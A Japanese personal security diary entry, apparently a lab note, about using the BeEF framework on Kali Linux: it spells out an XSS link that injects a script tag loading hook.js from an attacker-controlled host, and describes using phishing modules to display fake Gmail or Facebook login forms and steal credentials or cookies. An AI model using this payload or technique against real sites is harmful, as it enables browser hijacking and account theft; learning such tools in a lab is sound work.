akkietech’s diary

セキュリティ関連メインの自分用メモ書き。twitter: @akkietech

1/16 Kali LinuxでBeef

なんかアセンブリとかflaskとか色々やろうとしてたけど

今日最終的に行き着いたのがBeef

 

Kali Linux「Beef」とは

XSS脆弱性があるWebサイトを標的にし、

アクセスしてきたユーザに対してさまざまなスクリプトの実行を可能とするツール

 

重要となるのがhook.js

 

例えば脆弱なサイトを標的としたリンクを作成する

hxxp://www.akkieworld.com/xss/xss_confirm.php?name=&url=%3Cscript+src%3Dhttp%3A%2F%2F192.168.179.44%3A3000%2Fhook.js%3E%3C%2Fscript%3E

 

urlのパラメータとしては下記のスクリプトが入っている

<script src=hxxp://192.168.179.44:3000/hook.js></script>

 

上記のリンクを踏んでしまうと、srcに入っているスクリプトが実行される

 

そしてhook.jsは、アクセスしてきたユーザのブラウザをゾンビ化させるスクリプト

(と、認識しているつもり...)

 

hook.jsを通じて攻撃側(192.168.179.44)は

様々なスクリプトをユーザ側のブラウザで実行できるようになる

 

kali linux本でも紹介されてたのが、入力フォームを表示させて

メールアドレスとパスワードの入力を促すスクリプト

 

Gmailとかfacebookとかリアルに見える入力フォームが使われていた

 

Social Engineeringのフォルダに入っている

・Pretty Theft

Google Phishing

とかがそう

 

どちらか選んでExecuteすると

スクリプト実行中のユーザのブラウザ上に入力フォームが出たりする

 

そして入力された情報は攻撃者側のBeefのツール上で確認することができる

これでアカウント情報の窃取が完了するわけだ

 

ソーシャルエンジニアリング系以外にもたくさんモジュールが用意されてるけど

いまいち使い方がわからないものばかり

 

あと、このhook.jsはユーザが別のページに飛んでしまうと効かなくなる

 

だから有効な間にcookieとるとか入力フォーム出して情報盗むとか

そんな使い方が妥当なのか

 

まぁ久しぶりにkali linuxのツールで遊べたから良かったな

 

余談:

転職サイト見てたけど、自分の持ってるセキュリティスキルとはって

考えた時に自信を持って答えられそうなものが一つもなかった

 

なんというか、全部満遍なく触れるようにしてきたつもりやったけど、

あまりに全部が「触れてみた」レベル止まりで

これは誰よりもできるっていうのがないことに気がついた

 

でも気がつけてよかった、何か絞るとするか